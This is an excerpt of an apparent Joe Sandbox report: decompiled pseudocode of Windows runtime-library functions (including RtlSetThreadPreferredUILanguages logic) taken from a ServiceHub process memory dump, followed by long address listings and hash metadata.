					if(_t278 == 0) {
						_t241 = 0xc0000100;
					} else {
						_v8 = 0;
						_t323 = 0xc0000100;
						_v52 = 0xc0000100;
						_t243 = 4;
						while(1) {
							_v40 = _t243;
							__eflags = _t243;
							if(_t243 == 0) {
								break;
							}
							_t291 = _t243 * 0xc;
							_v48 = _t291;
							__eflags = _t278 -  *((intOrPtr*)(_t291 + 0x1181664));
							if(__eflags <= 0) {
								if(__eflags == 0) {
									_t258 = E011EE5C0(_a8,  *((intOrPtr*)(_t291 + 0x1181668)), _t278);
									_t331 = _t331 + 0xc;
									__eflags = _t258;
									if(__eflags == 0) {
										_t323 = E012251BE(_t278,  *((intOrPtr*)(_v48 + 0x118166c)), _a16, _t315, _t323, __eflags, _a20, _a24);
										_v52 = _t323;
										break;
									} else {
										_t243 = _v40;
										goto L62;
									}
									goto L70;
								} else {
									L62:
									_t243 = _t243 - 1;
									continue;
								}
							}
							break;
						}
						_v32 = _t323;
						__eflags = _t323;
						if(_t323 < 0) {
							__eflags = _t323 - 0xc0000100;
							if(_t323 == 0xc0000100) {
								_t287 = _a4;
								__eflags = _t287;
								if(_t287 != 0) {
									_v36 = _t287;
									__eflags =  *_t287 - _t315;
									if( *_t287 == _t315) {
										_t323 = 0xc0000100;
										goto L76;
									} else {
										_t303 =  *((intOrPtr*)(_v44 + 0x30));
										_t245 =  *((intOrPtr*)(_t303 + 0x10));
										__eflags =  *((intOrPtr*)(_t245 + 0x48)) - _t287;
										if( *((intOrPtr*)(_t245 + 0x48)) == _t287) {
											__eflags =  *(_t303 + 0x1c);
											if( *(_t303 + 0x1c) == 0) {
												L106:
												_t323 = E011D2AE4( &_v36, _a8, _t278, _a16, _a20, _a24);
												_v32 = _t323;
												__eflags = _t323 - 0xc0000100;
												if(_t323 != 0xc0000100) {
													goto L69;
												} else {
													_t315 = 1;
													_t287 = _v36;
													goto L75;
												}
											} else {
												_t248 = E011B6600( *(_t303 + 0x1c));
												__eflags = _t248;
												if(_t248 != 0) {
													goto L106;
												} else {
													_t287 = _a4;
													goto L75;
												}
											}
										} else {
											L75:
											_t323 = E011D2C50(_t287, _a8, _t278, _a16, _a20, _a24, _t315);
											L76:
											_v32 = _t323;
											goto L69;
										}
									}
									goto L108;
								} else {
									E011BEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
									_v8 = 1;
									_v36 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v44 + 0x30)) + 0x10)) + 0x48));
									_t323 = _a24;
									_t255 = E011D2AE4( &_v36, _a8, _t278, _a16, _a20, _t323);
									_v32 = _t255;
									__eflags = _t255 - 0xc0000100;
									if(_t255 == 0xc0000100) {
										_v32 = E011D2C50(_v36, _a8, _t278, _a16, _a20, _t323, 1);
									}
									_v8 = _t315;
									E011D2ACB();
								}
							}
						}
						L69:
						_v8 = 0xfffffffe;
						_t241 = _t323;
					}
					L70:
					return E011FD0D1(_t241);
				}
				L108:
			}





















































                                          0x011d2584
                                          0x011d2586
                                          0x011d2590
                                          0x011d2596
                                          0x011d2597
                                          0x011d2598
                                          0x011d2599
                                          0x011d259e
                                          0x011d25a4
                                          0x011d25a9
                                          0x011d25ac
                                          0x011d25ae
                                          0x011d25b1
                                          0x011d25b2
                                          0x011d25b5
                                          0x011d25b8
                                          0x011d25bb
                                          0x011d25bc
                                          0x011d25bf
                                          0x011d25c2
                                          0x011d25c5
                                          0x011d25c6
                                          0x011d25cb
                                          0x011d25ce
                                          0x011d25d8
                                          0x011d25dd
                                          0x011d25de
                                          0x011d25e1
                                          0x011d25e3
                                          0x011d25e9
                                          0x011d26da
                                          0x011d26da
                                          0x011d26dd
                                          0x011d26e2
                                          0x01215b56
                                          0x00000000
                                          0x011d26e8
                                          0x011d26f9
                                          0x011d26fb
                                          0x011d26fe
                                          0x011d2700
                                          0x01215b60
                                          0x00000000
                                          0x011d2706
                                          0x011d2706
                                          0x011d270a
                                          0x011d270a
                                          0x011d270d
                                          0x011d2713
                                          0x011d2716
                                          0x011d2718
                                          0x011d271c
                                          0x011d271e
                                          0x01215b6c
                                          0x01215b6f
                                          0x01215b7f
                                          0x01215b89
                                          0x01215b8e
                                          0x01215b93
                                          0x01215b96
                                          0x01215b9c
                                          0x01215ba0
                                          0x01215ba3
                                          0x01215bab
                                          0x01215bb0
                                          0x01215bb3
                                          0x01215bb3
                                          0x01215ba3
                                          0x011d2724
                                          0x011d2726
                                          0x011d2729
                                          0x011d272c
                                          0x011d279d
                                          0x011d279d
                                          0x011d27a0
                                          0x011d27a2
                                          0x00000000
                                          0x011d272e
                                          0x011d272e
                                          0x011d2731
                                          0x011d2734
                                          0x011d2734
                                          0x011d2736
                                          0x01215bc1
                                          0x01215bc1
                                          0x01215bc4
                                          0x00000000
                                          0x01215bca
                                          0x01215bca
                                          0x01215bcd
                                          0x00000000
                                          0x01215bd3
                                          0x00000000
                                          0x01215bd3
                                          0x01215bcd
                                          0x011d273c
                                          0x011d273c
                                          0x011d2742
                                          0x011d2747
                                          0x011d274a
                                          0x011d274d
                                          0x011d2750
                                          0x00000000
                                          0x011d2756
                                          0x011d2756
                                          0x00000000
                                          0x011d2902
                                          0x011d2908
                                          0x011d290b
                                          0x00000000
                                          0x011d2911
                                          0x011d291c
                                          0x011d2921
                                          0x00000000
                                          0x011d2921
                                          0x00000000
                                          0x00000000
                                          0x011d2880
                                          0x011d2887
                                          0x011d288c
                                          0x00000000
                                          0x00000000
                                          0x011d2805
                                          0x011d280a
                                          0x011d2814
                                          0x011d2816
                                          0x00000000
                                          0x00000000
                                          0x011d281e
                                          0x011d2821
                                          0x011d2823
                                          0x00000000
                                          0x011d2829
                                          0x011d2829
                                          0x011d2831
                                          0x011d283c
                                          0x011d283e
                                          0x00000000
                                          0x011d283e
                                          0x00000000
                                          0x00000000
                                          0x011d284e
                                          0x011d2850
                                          0x011d2851
                                          0x011d2854
                                          0x011d2857
                                          0x011d285a
                                          0x011d285c
                                          0x011d285d
                                          0x00000000
                                          0x00000000
                                          0x011d275d
                                          0x011d2761
                                          0x00000000
                                          0x011d2767
                                          0x011d276e
                                          0x011d2773
                                          0x011d2773
                                          0x011d2776
                                          0x011d2778
                                          0x011d277e
                                          0x011d277e
                                          0x011d2781
                                          0x011d2781
                                          0x011d2783
                                          0x011d2784
                                          0x00000000
                                          0x00000000
                                          0x01215bd8
                                          0x01215bde
                                          0x01215be4
                                          0x01215be6
                                          0x01215be8
                                          0x01215be9
                                          0x01215bee
                                          0x01215bf8
                                          0x01215bff
                                          0x01215c01
                                          0x01215c04
                                          0x01215c07
                                          0x01215c0b
                                          0x01215c0d
                                          0x01215c0d
                                          0x01215c15
                                          0x01215c18
                                          0x01215c1b
                                          0x01215c1b
                                          0x01215c1e
                                          0x00000000
                                          0x00000000
                                          0x011d28c3
                                          0x011d28c8
                                          0x011d28d2
                                          0x011d28d4
                                          0x011d28d8
                                          0x011d28db
                                          0x01215c26
                                          0x01215c28
                                          0x01215c2d
                                          0x01215c2d
                                          0x00000000
                                          0x00000000
                                          0x01215c34
                                          0x01215c36
                                          0x01215c49
                                          0x01215c4e
                                          0x01215c54
                                          0x01215c5b
                                          0x01215c5d
                                          0x01215c60
                                          0x011d2788
                                          0x011d2788
                                          0x011d278b
                                          0x011d278e
                                          0x011d278e
                                          0x011d278e
                                          0x011d2791
                                          0x00000000
                                          0x00000000
                                          0x011d2756
                                          0x011d2750
                                          0x00000000
                                          0x011d2794
                                          0x011d2794
                                          0x011d2795
                                          0x011d2798
                                          0x011d2798
                                          0x00000000
                                          0x011d2734
                                          0x011d272c
                                          0x011d2700
                                          0x011d25ef
                                          0x011d25ef
                                          0x011d25ef
                                          0x011d25f2
                                          0x011d25f8
                                          0x00000000
                                          0x00000000
                                          0x011d25fe
                                          0x00000000
                                          0x011d28e6
                                          0x011d28ec
                                          0x011d28ef
                                          0x011d28f5
                                          0x011d28f8
                                          0x011d28f8
                                          0x00000000
                                          0x011d28f8
                                          0x00000000
                                          0x00000000
                                          0x011d2866
                                          0x011d2866
                                          0x011d2876
                                          0x011d2879
                                          0x00000000
                                          0x00000000
                                          0x011d27e0
                                          0x011d27e7
                                          0x011d27e9
                                          0x011d27eb
                                          0x01215afd
                                          0x00000000
                                          0x01215afd
                                          0x00000000
                                          0x00000000
                                          0x011d2633
                                          0x011d2638
                                          0x011d263b
                                          0x011d263c
                                          0x011d263e
                                          0x011d2640
                                          0x011d2642
                                          0x011d2647
                                          0x011d2649
                                          0x011d264e
                                          0x011d2650
                                          0x011d2653
                                          0x011d2659
                                          0x011d26a2
                                          0x011d26a7
                                          0x011d26ac
                                          0x011d26b2
                                          0x01215b11
                                          0x01215b15
                                          0x01215b17
                                          0x00000000
                                          0x011d26b8
                                          0x011d26b8
                                          0x011d26ba
                                          0x011d27a6
                                          0x011d27a6
                                          0x011d27a9
                                          0x011d27ab
                                          0x011d27b9
                                          0x011d27b9
                                          0x011d27be
                                          0x011d27c1
                                          0x011d27c3
                                          0x011d27c5
                                          0x011d27c7
                                          0x01215c74
                                          0x01215c79
                                          0x01215c79
                                          0x011d27c7
                                          0x00000000
                                          0x011d26c0
                                          0x011d26c0
                                          0x011d26c3
                                          0x011d26c6
                                          0x011d26c6
                                          0x011d26c9
                                          0x011d26c9
                                          0x00000000
                                          0x011d26c9
                                          0x011d26ba
                                          0x011d265b
                                          0x011d265b
                                          0x011d265e
                                          0x011d2667
                                          0x011d266d
                                          0x011d2677
                                          0x011d267c
                                          0x011d267f
                                          0x011d2681
                                          0x01215b49
                                          0x01215b4e
                                          0x011d27cd
                                          0x011d27d0
                                          0x011d27d1
                                          0x011d27d2
                                          0x011d27d4
                                          0x011d27dd
                                          0x011d2687
                                          0x011d2687
                                          0x011d268a
                                          0x011d268b
                                          0x011d268e
                                          0x011d268f
                                          0x011d2691
                                          0x011d2696
                                          0x011d2698
                                          0x011d269d
                                          0x011d269f
                                          0x00000000
                                          0x011d269f
                                          0x011d2681
                                          0x00000000
                                          0x00000000
                                          0x011d2846
                                          0x00000000
                                          0x00000000
                                          0x011d2605
                                          0x011d260a
                                          0x011d260c
                                          0x011d2611
                                          0x011d2616
                                          0x011d2619
                                          0x011d2619
                                          0x011d261e
                                          0x00000000
                                          0x011d2624
                                          0x011d2627
                                          0x011d2627
                                          0x00000000
                                          0x00000000
                                          0x01215b1f
                                          0x00000000
                                          0x00000000
                                          0x011d2894
                                          0x011d289b
                                          0x011d289d
                                          0x011d28a1
                                          0x01215b2b
                                          0x01215b2e
                                          0x01215b2e
                                          0x011d28a7
                                          0x011d28a9
                                          0x01215b04
                                          0x01215b09
                                          0x01215b09
                                          0x01215b09
                                          0x00000000
                                          0x00000000
                                          0x01215b35
                                          0x01215b3c
                                          0x011d28fb
                                          0x011d28fb
                                          0x011d26cc
                                          0x011d26cc
                                          0x011d26d0
                                          0x00000000
                                          0x011d26d2
                                          0x011d26d2
                                          0x00000000
                                          0x011d26d2
                                          0x00000000
                                          0x00000000
                                          0x011d25fe
                                          0x011d292d
                                          0x011d292f
                                          0x011d2930
                                          0x011d2935
                                          0x011d2937
                                          0x011d293c
                                          0x011d293e
                                          0x011d293f
                                          0x011d2944
                                          0x011d2947
                                          0x011d294c
                                          0x011d294e
                                          0x011d294f
                                          0x011d2951
                                          0x011d2952
                                          0x011d2958
                                          0x011d295a
                                          0x011d2960
                                          0x011d2962
                                          0x011d2963
                                          0x011d2968
                                          0x011d296b
                                          0x011d2972
                                          0x011d2973
                                          0x011d2977
                                          0x011d297c
                                          0x011d297e
                                          0x011d297f
                                          0x011d2980
                                          0x011d2981
                                          0x011d2982
                                          0x011d2983
                                          0x011d2984
                                          0x011d2985
                                          0x011d2986
                                          0x011d2987
                                          0x011d2988
                                          0x011d2989
                                          0x011d298a
                                          0x011d298b
                                          0x011d298c
                                          0x011d298d
                                          0x011d298e
                                          0x011d298f
                                          0x011d2990
                                          0x011d2992
                                          0x011d2997
                                          0x011d29a3
                                          0x011d29a6
                                          0x011d29ab
                                          0x011d29ad
                                          0x011d29b0
                                          0x011d29b2
                                          0x01215c80
                                          0x011d29b8
                                          0x011d29b8
                                          0x011d29bb
                                          0x011d29c0
                                          0x011d29c5
                                          0x011d29c6
                                          0x011d29c6
                                          0x011d29c9
                                          0x011d29cb
                                          0x00000000
                                          0x00000000
                                          0x011d29cd
                                          0x011d29d0
                                          0x011d29d9
                                          0x011d29db
                                          0x011d29dd
                                          0x011d2a7f
                                          0x011d2a84
                                          0x011d2a87
                                          0x011d2a89
                                          0x01215ca1
                                          0x01215ca3
                                          0x00000000
                                          0x011d2a8f
                                          0x011d2a8f
                                          0x00000000
                                          0x011d2a8f
                                          0x00000000
                                          0x011d29e3
                                          0x011d29e3
                                          0x011d29e3
                                          0x00000000
                                          0x011d29e3
                                          0x011d29dd
                                          0x00000000
                                          0x011d29db
                                          0x011d29e6
                                          0x011d29e9
                                          0x011d29eb
                                          0x011d29ed
                                          0x011d29f3
                                          0x011d29f5
                                          0x011d29f8
                                          0x011d29fa
                                          0x011d2a97
                                          0x011d2a9a
                                          0x011d2a9d
                                          0x011d2add
                                          0x00000000
                                          0x011d2a9f
                                          0x011d2aa2
                                          0x011d2aa5
                                          0x011d2aa8
                                          0x011d2aab
                                          0x01215cab
                                          0x01215caf
                                          0x01215cc5
                                          0x01215cda
                                          0x01215cdc
                                          0x01215cdf
                                          0x01215ce5
                                          0x00000000
                                          0x01215ceb
                                          0x01215ced
                                          0x01215cee
                                          0x00000000
                                          0x01215cee
                                          0x01215cb1
                                          0x01215cb4
                                          0x01215cb9
                                          0x01215cbb
                                          0x00000000
                                          0x01215cbd
                                          0x01215cbd
                                          0x00000000
                                          0x01215cbd
                                          0x01215cbb
                                          0x011d2ab1
                                          0x011d2ab1
                                          0x011d2ac4
                                          0x011d2ac6
                                          0x011d2ac6
                                          0x00000000
                                          0x011d2ac6
                                          0x011d2aab
                                          0x00000000
                                          0x011d2a00
                                          0x011d2a09
                                          0x011d2a0e
                                          0x011d2a21
                                          0x011d2a24
                                          0x011d2a35
                                          0x011d2a3a
                                          0x011d2a3d
                                          0x011d2a42
                                          0x011d2a59
                                          0x011d2a59
                                          0x011d2a5c
                                          0x011d2a5f
                                          0x011d2a5f
                                          0x011d29fa
                                          0x011d29f3
                                          0x011d2a64
                                          0x011d2a64
                                          0x011d2a6b
                                          0x011d2a6b
                                          0x011d2a6d
                                          0x011d2a72
                                          0x011d2a72
                                          0x00000000

                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000011.00000002.571893766.0000000001180000.00000040.00001000.00020000.00000000.sdmp, Offset: 01180000, based on PE: true
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_17_2_1180000_ServiceHub.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: PATH
                                          • API String ID: 0-1036084923
                                          • Opcode ID: 82ce589305385c248c45b0103cb96dcaf82c84aef5edc1efb747a6a0a280745a
                                          • Instruction ID: 84a259e019fea663346841c764bd143ea39f27d70f34e1f8ef4f807d674f0dd1
                                          • Opcode Fuzzy Hash: 82ce589305385c248c45b0103cb96dcaf82c84aef5edc1efb747a6a0a280745a
                                          • Instruction Fuzzy Hash: D5C1C171E1061ADBDB2CDF9CD880BAEBBF1FF59700F094029E911AB250E774A941CB61
                                          Uniqueness

                                          Uniqueness Score: -1.00%

                                          Function 011DFAB0 Relevance: 1.6, Strings: 1, Instructions: 306COMMON
                                          Download Yara Rule
                                          C-Code - Quality: 80%
                                          			E011DFAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E011BEEF0(0x1297b60);
					_t134 =  *0x1297b84; // 0x771a7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x1297b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x1297b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E011B6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E011B76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E01248938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E011AB150();
													}
													_t116 = E01246D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E011B75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x1298638; // 0x0
																	_t122 = L011B38A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E011B76E2(_t154);
																			goto L41;
																		}
																	} else {
																		E011B76E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L011DFCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L011B70F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E011DFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E011DFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E011DFD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E011DFD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E011DFD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x1297b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x1297b84 = _t75;
						_t73 = E011BEB70(_t134, 0x1297b60);
						if( *0x1297b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E011BFF60( *0x1297b20);
							}
						}
						goto L5;
					}
				}
			}

















































                                          0x011dfab0
                                          0x011dfab2
                                          0x011dfab3
                                          0x011dfab4
                                          0x011dfabc
                                          0x011dfac0
                                          0x011dfb14
                                          0x011dfb17
                                          0x011dfac2
                                          0x011dfac8
                                          0x011dfacd
                                          0x011dfad3
                                          0x011dfad3
                                          0x011dfadd
                                          0x011dfb18
                                          0x011dfb1b
                                          0x011dfb1d
                                          0x011dfb1e
                                          0x011dfb1f
                                          0x011dfb20
                                          0x011dfb21
                                          0x011dfb22
                                          0x011dfb23
                                          0x011dfb24
                                          0x011dfb25
                                          0x011dfb26
                                          0x011dfb27
                                          0x011dfb28
                                          0x011dfb29
                                          0x011dfb2a
                                          0x011dfb2b
                                          0x011dfb2c
                                          0x011dfb2d
                                          0x011dfb2e
                                          0x011dfb2f
                                          0x011dfb3a
                                          0x011dfb3b
                                          0x011dfb3e
                                          0x011dfb41
                                          0x011dfb44
                                          0x011dfb47
                                          0x011dfb4a
                                          0x011dfb4d
                                          0x011dfb53
                                          0x0121bdcb
                                          0x0121bdcb
                                          0x011dfb59
                                          0x011dfb5b
                                          0x011dfb5b
                                          0x011dfb5e
                                          0x0121bdd5
                                          0x0121bdd8
                                          0x00000000
                                          0x0121bdda
                                          0x00000000
                                          0x0121bdda
                                          0x011dfb64
                                          0x011dfb64
                                          0x011dfb64
                                          0x011dfb67
                                          0x011dfb6e
                                          0x011dfb70
                                          0x011dfb72
                                          0x00000000
                                          0x011dfb78
                                          0x011dfb7a
                                          0x011dfb7a
                                          0x011dfb7d
                                          0x011dfb80
                                          0x0121bddf
                                          0x0121bde1
                                          0x00000000
                                          0x0121bde3
                                          0x00000000
                                          0x0121bde3
                                          0x011dfb86
                                          0x011dfb86
                                          0x011dfb86
                                          0x011dfb8b
                                          0x011dfb90
                                          0x011dfb92
                                          0x011dfb94
                                          0x011dfb9a
                                          0x011dfb9b
                                          0x011dfba1
                                          0x0121bde8
                                          0x0121bdeb
                                          0x0121bded
                                          0x0121beb5
                                          0x0121beb5
                                          0x0121bebb
                                          0x0121bebd
                                          0x0121bec3
                                          0x0121bed2
                                          0x0121bedd
                                          0x0121bedd
                                          0x0121beed
                                          0x00000000
                                          0x0121bdf3
                                          0x0121bdfe
                                          0x0121be06
                                          0x0121be0b
                                          0x0121be0d
                                          0x0121be0f
                                          0x0121be14
                                          0x0121be19
                                          0x0121be20
                                          0x0121be25
                                          0x0121be27
                                          0x0121be35
                                          0x0121be39
                                          0x0121be46
                                          0x0121be4f
                                          0x0121be54
                                          0x0121be56
                                          0x0121bef8
                                          0x0121bef8
                                          0x00000000
                                          0x0121be5c
                                          0x0121be5c
                                          0x0121be60
                                          0x00000000
                                          0x0121be66
                                          0x0121be66
                                          0x0121be7f
                                          0x0121be84
                                          0x0121be87
                                          0x0121be89
                                          0x0121be8b
                                          0x0121be99
                                          0x0121be9d
                                          0x0121bea0
                                          0x0121beac
                                          0x0121beaf
                                          0x0121beb1
                                          0x0121beb3
                                          0x0121beb3
                                          0x00000000
                                          0x0121bea2
                                          0x0121bea2
                                          0x00000000
                                          0x0121bea2
                                          0x0121be8d
                                          0x0121be8d
                                          0x0121be92
                                          0x00000000
                                          0x0121be92
                                          0x0121be8b
                                          0x0121be60
                                          0x0121be3b
                                          0x0121be3b
                                          0x0121be3e
                                          0x00000000
                                          0x0121be40
                                          0x0121be40
                                          0x0121be44
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x00000000
                                          0x0121be44
                                          0x0121be3e
                                          0x0121be29
                                          0x0121be29
                                          0x00000000
                                          0x0121be29
                                          0x0121be27
                                          0x00000000
                                          0x011dfba7
                                          0x011dfba7
                                          0x011dfbab
                                          0x0121bf02
                                          0x011dfbb1
                                          0x011dfbb1
                                          0x011dfbb8
                                          0x011dfbbd
                                          0x011dfbbd
                                          0x011dfbbf
                                          0x011dfbbf
                                          0x011dfbc5
                                          0x011dfbcb
                                          0x011dfbf8
                                          0x011dfbf8
                                          0x011dfbfa
                                          0x00000000
                                          0x011dfc00
                                          0x011dfc00
                                          0x011dfc03
                                          0x00000000
                                          0x011dfc09
                                          0x011dfc09
                                          0x011dfc0f
                                          0x011dfc15
                                          0x011dfc23
                                          0x011dfc23
                                          0x011dfc25
                                          0x011dfc27
                                          0x011dfc75
                                          0x011dfc7c
                                          0x011dfc84
                                          0x00000000
                                          0x011dfc29
                                          0x011dfc29
                                          0x011dfc2d
                                          0x011dfc30
                                          0x0121bf0f
                                          0x00000000
                                          0x011dfc36
                                          0x011dfc38
                                          0x011dfc3b
                                          0x011dfc41
                                          0x0121bf17
                                          0x0121bf19
                                          0x0121bf48
                                          0x0121bf4b
                                          0x00000000
                                          0x0121bf1b
                                          0x0121bf22
                                          0x0121bf24
                                          0x0121bf26
                                          0x00000000
                                          0x0121bf2c
                                          0x0121bf37
                                          0x0121bf39
                                          0x0121bf3b
                                          0x00000000
                                          0x0121bf41
                                          0x0121bf41
                                          0x0121bf41
                                          0x0121bf41
                                          0x0121bf45
                                          0x00000000
                                          0x0121bf45
                                          0x0121bf3b
                                          0x0121bf26
